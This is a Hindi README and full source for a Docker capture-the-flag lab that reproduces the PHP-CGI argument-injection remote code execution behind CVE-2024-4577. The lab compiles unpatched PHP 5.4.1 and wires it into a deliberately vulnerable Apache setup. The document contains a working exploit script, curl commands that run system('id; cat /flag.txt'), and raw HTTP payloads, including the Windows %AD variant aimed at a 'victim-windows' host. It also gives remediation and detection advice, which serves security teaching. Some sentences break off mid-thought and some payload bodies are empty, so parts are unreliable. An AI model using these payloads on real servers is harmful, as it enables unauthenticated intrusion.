
# Docker-आधारित CTF लैब जो CVE-2024-4577 PHP-CGI आर्गुमेंट इंजेक्शन को प्रदर्शित करता है, जिससे RCE होता है। इसमें कमजोर PHP 5.4.1 CGI, एक्सप्लॉइट स्क्रिप्ट्स और फ्लैग प्राप्ति शामिल है।
एक स्व-निहित, शुरू से बनाया गया Docker lab जो CVE-2024-4577 के पीछे के वास्तविक
तर्क-इंजेक्शन → रिमोट कोड निष्पादन प्राइमिटिव को प्रदर्शित करता है।
इसे http://localhost:8080 पर एक्सप्लॉइट करें, शेल प्राप्त करें, और कंटेनर के अंदर से
फ्लैग पढ़ें।
यह एक वास्तविक कमजोरी है, सिम्युलेटेड नहीं। कंटेनर एक अनपैच्ड PHP 5.4.1 CGI बाइनरी को कंपाइल करता है और इसे Apache के पीछे ठीक उसी तरह वायर करता है जैसे वास्तविक कमजोर होस्ट कॉन्फ़िगर किए जाते हैं। कहीं भी कोई नकली "if password == flag" चेक नहीं है — फ्लैग पाने का एकमात्र तरीका वास्तव में कोड निष्पादन प्राप्त करना है।
CVE-2024-4577 का सिग्नेचर पेलोड %AD (एक सॉफ्ट हाइफ़न) का उपयोग करता है। यह ट्रिक
केवल Windows पर काम करती है, क्योंकि Windows की "बेस्ट-फिट" कैरेक्टर एन्कोडिंग
बाइट 0xAD को वास्तविक - (0x2D) में बदल देती है । यह एन्कोडिंग रूपांतरण
किया जाता है — यह
इसलिए, एक वफादार, आपकी मशीन पर चलने योग्य Linux lab ठीक वही RCE प्राइमिटिव
पुनरुत्पादित करता है — URL के माध्यम से php-cgi विकल्प इंजेक्शन → -d auto_prepend_file=php://input → कोड निष्पादन — शाब्दिक - फॉर्म का उपयोग करके
(जो CVE-2024-4577 का मूल बग, CVE-2012-1823 है)। वास्तविक Windows CVE-2024-4577
लक्ष्य से एकमात्र अंतर %AD→- एन्कोडिंग-बायपास परत है, जिसे यह README पूर्ण रूप से
दस्तावेज़ित करता है (देखें यह कैसे काम करता है
और poc.http)।
| यह Linux lab | वास्तविक CVE-2024-4577 (Windows) | |
|---|---|---|
| कमजोर घटक | php-cgi | php-cgi |
| RCE प्राइमिटिव | -d auto_prepend_file=php://input | समान |
| URL में डिलीमीटर | शाब्दिक - | %AD (बेस्ट-फिट → -) |
| 2012 पैच को बायपास करता है? | N/A (PHP पैच से पहले का है) | हाँ, Windows बेस्ट-फिट के माध्यम से |
| Win 11 Home + Docker Desktop पर चलता है | ✅ | ❌ (Windows कंटेनर चाहिए) |
यदि आपको विशेष रूप से बिट-दर-बिट Windows %AD पुनरुत्पादन की आवश्यकता है, तो आपको
Windows-कंटेनर-सक्षम Docker होस्ट (Windows Server / Win Pro + Hyper-V) चाहिए — यह
Windows 11 Home पर नहीं चलेगा। Windows पेलोड संदर्भ के लिए
poc.http में शामिल है।
CVE-2024-4577 — PHP CGI तर्क इंजेक्शन जो रिमोट कोड निष्पादन की ओर ले जाता है। DEVCORE (Orange Tsai / Angelboy) द्वारा खोजा गया, 2024-06-06 को प्रकट किया गया।
जब PHP को CGI मोड में (या php-cgi.exe बाइनरी अन्यथा पहुंच योग्य हो) Windows पर
कुछ सिस्टम लोकेल (पारंपरिक/सरलीकृत चीनी, जापानी, और अन्य) के साथ तैनात किया जाता है,
तो वेब सर्वर HTTP क्वेरी स्ट्रिंग को php-cgi को कमांड-लाइन तर्क के रूप में पास करता है।
एक हमलावर php-cgi कमांड-लाइन विकल्पों (-d ...) को उस क्वेरी स्ट्रिंग में तस्करी कर सकता है।
Windows की बेस्ट-फिट कोडपेज रूपांतरण सॉफ्ट-हाइफ़न बाइट 0xAD (%AD) को ASCII
हाइफ़न - में बदल देती है, जो CVE-2012-1823 हार्डनिंग से फिसल जाता है और हमलावर को
मनमाने PHP INI निर्देश सेट करने देता है — सबसे उपयोगी रूप से
auto_prepend_file=php://input के साथ allow_url_include=1, जो हमलावर द्वारा आपूर्ति
किए गए अनुरोध बॉडी को PHP के रूप में निष्पादित करता है। परिणाम: अप्रमाणित रिमोट कोड
निष्पादन। इसे दिनों के भीतर जंगली में हथियार बना दिया गया (जैसे TellYouThePass
रैंसमवेयर)।
CGI क्वेरी स्ट्रिंग को argv के रूप में पास करता है। RFC 3875 के अनुसार, यदि CGI अनुरोध की
क्वेरी स्ट्रिंग में कोई अनएन्कोडेड = नहीं है, तो सर्वर इसे + पर विभाजित करता है,
प्रत्येक शब्द को URL-डिकोड करता है, और शब्दों को CGI प्रोग्राम को कमांड-लाइन तर्क के रूप में
पास करता है। इसलिए php-cgi हमलावर-नियंत्रित argv प्राप्त करता है।
php-cgi उन argv को विकल्पों के रूप में पार्स करता है। ऐतिहासिक रूप से php-cgi उस argv से
-d key=value, -T, आदि की व्याख्या करेगा। -d allow_url_include=1 -d auto_prepend_file=php://input
फीड करने से PHP अनुरोध बॉडी को कोड के रूप में निष्पादित करता है → CVE-2012-1823।
CVE-2012-1823 फिक्स Windows पर अधूरा है। 2012 पैच ने sapi/cgi/cgi_main.c में एक गार्ड जोड़ा:
मोटे तौर पर "यदि (कच्ची) क्वेरी स्ट्रिंग - से शुरू होती है और इसमें कोई = नहीं है, तो विकल्प
पार्सिंग छोड़ें (skip_getopt)।" शाब्दिक - भेजने वाला हमलावर अब अवरुद्ध है।
बेस्ट-फिट एन्कोडिंग गार्ड को हरा देती है (2024 बग)। Windows पर, PHP कमांड लाइन को
लोकेल कोडपेज का उपयोग करके बेस्ट-फिट मैपिंग सक्षम के साथ परिवर्तित करता है। हमलावर %AD
(बाइट 0xAD, सॉफ्ट हाइफ़न) भेजता है। गार्ड की जाँच के समय पहला बाइट 0xAD है, - नहीं,
इसलिए skip_getopt सेट नहीं होता। बाद में, जब PHP वास्तव में argv बनाता है, Windows
बेस्ट-फिट-मैप 0xAD → - करता है, इसलिए getopt अब -d देखता है। विकल्प इंजेक्शन उस जाँच के
बाद फायर होता है जिसे इसे रोकना था। वह चेक-फिर-कन्वर्ट क्रम पूरी कमजोरी है।
इस Linux lab में, चरण 1–2 को एक php-cgi के साथ ठीक से पुनरुत्पादित किया गया है जो चरण 3 के पैच से पहले का है, इसलिए शाब्दिक
-फॉर्म काम करता है और समान RCE प्रदर्शित करता है। चरण 4 केवल Windows-विशिष्ट परत है, दस्तावेज़ित लेकिन निष्पादित नहीं (Linux में कोई बेस्ट-फिट रूपांतरण नहीं है)।
8.3.8, 8.2.20, 8.1.29 में फिक्स किया गया। इसलिए कमजोर:
शर्तें: Windows OS; PHP CGI के रूप में चल रहा है या php-cgi.exe उजागर है
(डिफ़ॉल्ट XAMPP on Windows कॉन्फ़िगरेशन कमजोर है); बेस्ट-फिट पथ के लिए एक प्रभावित
लोकेल। (मूल बग CVE-2012-1823 — वह प्राइमिटिव जो यह lab चलाता है — किसी भी OS को प्रभावित
करता है जो इस कॉन्फ़िगरेशन में पूर्व-2012-फिक्स php-cgi चला रहा है।)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. पूर्वापेक्षाएँ
- **Docker Desktop** (Windows/macOS) या Docker Engine (Linux)।
Windows 11 Home: **WSL 2** बैकएंड (डिफ़ॉल्ट) के साथ Docker Desktop इंस्टॉल करें।
→ https://www.docker.com/products/docker-desktop/
- शोषण के लिए `curl` (`curl.exe` Windows 10/11 में अंतर्निहित है; यह
Git Bash / WSL / macOS / Linux में भी उपलब्ध है)।
- **बिल्ड के दौरान** इंटरनेट एक्सेस (PHP 5.4.1 स्रोत डाउनलोड करता है)।
## 6. बिल्ड निर्देश
`cve-2024-4577-lab/` फ़ोल्डर में एक टर्मिनल खोलें।
### विकल्प A — docker compose (अनुशंसित)```bash
docker compose up --build -d
docker build कमांड:```bash docker build -t cve-2024-4577-lab .
**docker run कमांड:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
बिल्ड PHP को स्रोत से संकलित करता है (पहली बार में ~2–5 मिनट)। यदि यह आपकी मशीन पर विफल हो जाता है (ऑफ़लाइन, कोई टूलचेन नहीं, museum.php.net ब्लॉक है), तो फ़ॉलबैक बेस इमेज का उपयोग करें:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
आपको **ACME Internal Status Portal** HTML दिखना चाहिए, और सबसे महत्वपूर्ण बात:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi (अर्थात php-cgi के माध्यम से परोसा गया) पुष्टि करता है कि कमजोर घटक अनुरोध पथ में है। लॉग भी जांचें:```bash
docker logs cve-2024-4577-lab
## 8. शोषण के चरण
इंजेक्ट की गई क्वेरी स्ट्रिंग (URL-एन्कोडेड ताकि Apache को **कोई शाब्दिक `=`** न दिखे और
इसलिए वह इसे CGI argv के रूप में माने):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
जो php-cgi इस प्रकार पार्स करता है:``` -d allow_url_include=1 -d auto_prepend_file=php://input
**अनुरोध बॉडी** PHP सोर्स बन जाती है (`php://input` के माध्यम से पढ़ी जाती है) और `index.php` से *पहले* चलती है।
### 8a. सबसे आसान — स्क्रिप्ट चलाएँ```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> **Windows PowerShell** पर, स्पष्ट रूप से `curl.exe` का उपयोग करें (PowerShell का `curl`
> `Invoke-WebRequest` का एक उपनाम है और यह क्वेरी स्ट्रिंग को बिगाड़ देता है):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8c. मैनुअल — रॉ HTTP (Burp Repeater)
[`poc.http`](#poc-http) देखें। अनुरोध #1 को Burp Repeater में पेस्ट करें और भेजें।
## 9. अपेक्षित आउटपुट```
[*] Target : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.
uid=33(www-data) पंक्ति वेब-सर्वर उपयोगकर्ता के रूप में मनमाना OS कमांड निष्पादन साबित करती है — यह वास्तविक कोड निष्पादन है, न कि कोई मुद्रित स्ट्रिंग।
फ़्लैग कंटेनर के अंदर /flag.txt पर स्थित है — वेब रूट (/var/www/html) के बाहर, इसलिए यह HTTP के माध्यम से पहुंच योग्य नहीं है। इसे पढ़ने का एकमात्र तरीका RCE के माध्यम से एक कमांड चलाना है:```bash
bash exploit.sh http://localhost:8080 "cat /flag.txt"
झंडा:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
(वास्तविक CTF में आपको पथ नहीं बताया जाएगा — आप RCE के माध्यम से ls -la / चलाकर इसे खोजेंगे। bash exploit.sh http://localhost:8080 "ls -la /" आज़माएं।)
docker compose down
docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm
docker rmi cve-2024-4577-lab
docker builder prune -f
---
## 🔬 एक्सप्लॉइट कैसे काम करता है, चरण दर चरण
1. **क्लाइंट → Apache।** आप
`POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
भेजते हैं, जिसमें बॉडी में PHP पेलोड होता है।
2. **Apache रूटिंग।** `AddHandler application/x-httpd-php .php` +
`Action application/x-httpd-php /cgi-bin/php-cgi` अनुरोध को
**php-cgi** बाइनरी (mod_actions + mod_cgi) पर रूट करते हैं।
3. **क्वेरी स्ट्रिंग → argv (CGI नियम)।** Apache का `mod_cgi` देखता है कि क्वेरी
स्ट्रिंग में **कोई अनएन्कोडेड `=` नहीं है** (हमने `=` नहीं, `%3d` भेजा है), इसलिए RFC 3875 के अनुसार
यह `+` पर विभाजित करता है, प्रत्येक शब्द को URL-डिकोड करता है, और उन्हें php-cgi को `argv` के रूप में
पास करता है:
`-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`।
4. **php-cgi इंजेक्ट किए गए विकल्पों को पार्स करता है।** इस php-cgi (5.4.1, 2012 से पहले का फिक्स) में
**कोई `skip_getopt` गार्ड नहीं है**, इसलिए यह आसानी से `-d` विकल्पों को प्रोसेस करता है:
- `allow_url_include=1` — स्ट्रीम रैपर से PHP इन्क्लूड करने की अनुमति देता है।
- `auto_prepend_file=php://input` — अनुरोधित स्क्रिप्ट चलाने से पहले,
**अनुरोध बॉडी** को PHP के रूप में इन्क्लूड और एक्सीक्यूट करता है।
5. **बॉडी कोड के रूप में एक्सीक्यूट होती है।** `php://input` आपकी POST बॉडी है,
`<?php system('id; cat /flag.txt'); die(); ?>`। यह Apache यूज़र
(`www-data`) के रूप में चलती है, OS कमांड एक्सीक्यूट करती है, उसका आउटपुट प्रिंट करती है, और
`index.php` चलने से पहले ही `die()` कर देती है।
6. **फ्लैग एक्सफिल्ट्रेशन।** `system('cat /flag.txt')` `/flag.txt` को पढ़ता है (जो
`www-data` के लिए पठनीय है) और इसे HTTP रिस्पॉन्स में लौटाता है।
### यह भेद्यता क्यों मौजूद है (गहरा "क्यों")
- **CGI *आर्ग्युमेंट्स* को *यूज़र इनपुट* के साथ मिला देता है।** 1990 के दशक की CGI परंपरा
क्वेरी स्ट्रिंग को `argv` में बदलने की थी, जो `<ISINDEX>` सर्च
स्क्रिप्ट के लिए डिज़ाइन की गई थी। इसे `php-cgi` जैसे इंटरप्रेटर पर लगाना, जिसके `argv`
शक्तिशाली कॉन्फ़िगरेशन स्विच हैं, एक श्रेणीगत त्रुटि है: यूज़र-नियंत्रित डेटा
प्रोग्राम कॉन्फ़िगरेशन बन जाता है।
- **`-d` रिमोट-INI-इंजेक्शन है।** `php-cgi -d name=value` रनटाइम पर *किसी भी* INI
डायरेक्टिव को ओवरराइड करता है, यहां तक कि एक कठोर `php.ini` को भी। `auto_prepend_file`
+ `allow_url_include` + `php://input` रैपर मिलकर
"अनुरोध बॉडी को एक्सीक्यूट करें" बनाते हैं, यानी RCE।
- **CVE-2024-4577 विशेष रूप से** इसलिए मौजूद है क्योंकि CVE-2012-1823 फिक्स क्वेरी
स्ट्रिंग में अग्रणी `-` की जांच **Windows द्वारा अपना **best-fit
एन्कोडिंग रूपांतरण** करने से पहले** करता है। हमलावर `%AD` (सॉफ्ट हाइफ़न) भेजता है; जांच चलने पर यह `-`
नहीं होता, इसलिए गार्ड पास हो जाता है, लेकिन Windows बाद में best-fit-मैप करता है
`0xAD → 0x2D (-)`, गेट के बाद `-` को फिर से पेश करता है। **चेक-फिर-ट्रांसफॉर्म
ऑर्डरिंग** + एक लोकेल-निर्भर, लॉसी एन्कोडिंग = एक पैच बायपास।
---
## 🛡️ यह चैलेंज "बस फ्लैग का अनुमान लगाओ" / AI शॉर्टकट का प्रतिरोध क्यों करता है
- फ्लैग **वेब रूट में नहीं है** और **`index.php` द्वारा संदर्भित नहीं है**,
इसलिए कोई भी क्रॉलिंग, फ़ज़िंग, या ऐप सोर्स पढ़ना इसे प्रकट नहीं करता।
- कोई **लॉजिक बैकडोर** नहीं है (कोई `if (input === flag)` नहीं), इसलिए सॉल्वर
किसी तुलना को रिवर्स नहीं कर सकता — फ्लैग केवल किसी प्रोसेस के stdout में **वास्तविक OS कमांड
एक्सीक्यूशन के बाद** दिखाई देता है।
- इसे प्राप्त करने के लिए **वास्तविक आर्ग्युमेंट-इंजेक्शन एक्सप्लॉइट करना आवश्यक है**:
`=` को `%3d` के रूप में सही ढंग से एन्कोड करना, `-` को विकल्प डिलीमीटर के रूप में रखना, और
पेलोड को `php://input` के माध्यम से डिलीवर करना। कोई भी चरण गलत करें और आपको
हानिरहित ACME पेज मिलता है, फ्लैग नहीं।
- टोकन एक **उच्च-एंट्रॉपी रैंडम स्ट्रिंग** है, कोई अनुमान लगाने योग्य शब्द नहीं।
---
## वास्तविक दुनिया में उपचार
- PHP को **≥ 8.3.8 / 8.2.20 / 8.1.29** में अपडेट करें।
- **PHP को CGI के रूप में न चलाएं।** PHP-FPM / mod_php का उपयोग करें।
- Windows/XAMPP पर, `ScriptAlias`/हैंडलर मैपिंग हटाएं जो
`php-cgi.exe` को एक्सपोज़ करते हैं; उन अनुरोधों को ब्लॉक करें जहां क्वेरी स्ट्रिंग एन्कोडेड
सॉफ्ट हाइफ़न से शुरू होती है; WAF पर क्वेरी स्ट्रिंग में `%AD` को अस्वीकार करें।
- डिटेक्शन: क्वेरी स्ट्रिंग्स वाले वेब लॉग जिनमें `%AD`, `auto_prepend_file`,
`allow_url_include`, या `php://input` होता है।
---
# परिशिष्ट — हर फ़ाइल, पूरी तरह से
नीचे दी गई हर फ़ाइल का पूरा सोर्स है, ताकि यह एकल दस्तावेज़
पूरी तरह से स्व-निहित हो।
## `Dockerfile````dockerfile
# =============================================================================
# CVE-2024-4577 LAB — PHP-CGI argument injection -> Remote Code Execution
# Linux reproduction of the argument-injection primitive that CVE-2024-4577
# revives on Windows. (See README.md, section "Linux vs. Windows".)
#
# Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
# predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
# (-d ...) supplied through the HTTP query string. Apache hands the query
# string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
# auto_prepend_file=php://input -> RCE. This is the exact primitive that
# CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye
ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1
# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
apt-get update; \
apt-get install -y --no-install-recommends \
ca-certificates wget bzip2 xz-utils \
build-essential pkg-config autoconf \
libxml2-dev \
apache2; \
rm -rf /var/lib/apt/lists/*
# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
# CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
# linking of old PHP's tentative-definition globals.
# touch <files> : keep the tarball's PRE-GENERATED parser/scanner files
# newer than their .y/.l sources so `make` never invokes
# bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
cd /usr/src; \
( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
|| wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
tar -xf php.tar; \
cd "php-${PHP_VERSION}"; \
for f in \
Zend/zend_language_parser.c Zend/zend_language_parser.h \
Zend/zend_language_scanner.c \
Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
Zend/zend_ini_scanner.c \
ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
if [ -f "$f" ]; then touch "$f"; fi; \
done; \
CFLAGS="-O2 -fcommon" ./configure \
--enable-cgi \
--disable-all \
--without-pear; \
make -j"$(nproc)"; \
make install; \
cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
chmod 0755 /usr/lib/cgi-bin/php-cgi; \
/usr/local/bin/php-cgi -v; \
cd /; rm -rf /usr/src/php*
# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini /usr/local/lib/php.ini
COPY config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf
RUN set -eux; \
a2dismod mpm_event mpm_worker || true; \
a2enmod mpm_prefork cgi actions alias; \
printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
a2enconf servername
# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]
FROM vulhub/php:5.4.1-cgi
COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with: docker compose up --build
services:
web:
build:
context: .
dockerfile: Dockerfile # <- swap to Dockerfile.vulhub if the source build fails
image: cve-2024-4577-lab:latest
container_name: cve-2024-4577-lab
ports:
- "8080:80" # host 8080 -> container 80
restart: unless-stopped
<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG: Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject -d <ini>=<value> straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
Options +ExecCGI FollowSymLinks
AddHandler application/x-httpd-php .php
Action application/x-httpd-php /cgi-bin/php-cgi
DirectoryIndex index.php
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1
display_errors = On display_startup_errors = On log_errors = On
; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off
short_open_tag = On
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
# Container entrypoint: start Apache (with the vulnerable php-cgi) in the
# foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e
# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars
mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"
echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="
exec apache2 -D FOREGROUND
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"
QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'
BODY=""
echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"
curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"
echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php — an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ACME Internal Status Portal</title>
<style>
body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
.ok{color:#2a7f2a;font-weight:bold}
</style>
</head>
<body>
<h1>ACME Internal Status Portal</h1>
<p>Service status: <span class="ok">ONLINE</span></p>
<ul>
<li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
<li>PHP version: <code><?php echo phpversion(); ?></code></li>
<li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
<li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
</ul>
<p>Everything looks fine here. Nothing to see. 😊</p>
</body>
</html>
###############################################################################
###############################################################################
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
sapi/cgi/cgi_main.c) के लिए।केवल अधिकृत सुरक्षा शिक्षा / CTF उपयोग के लिए।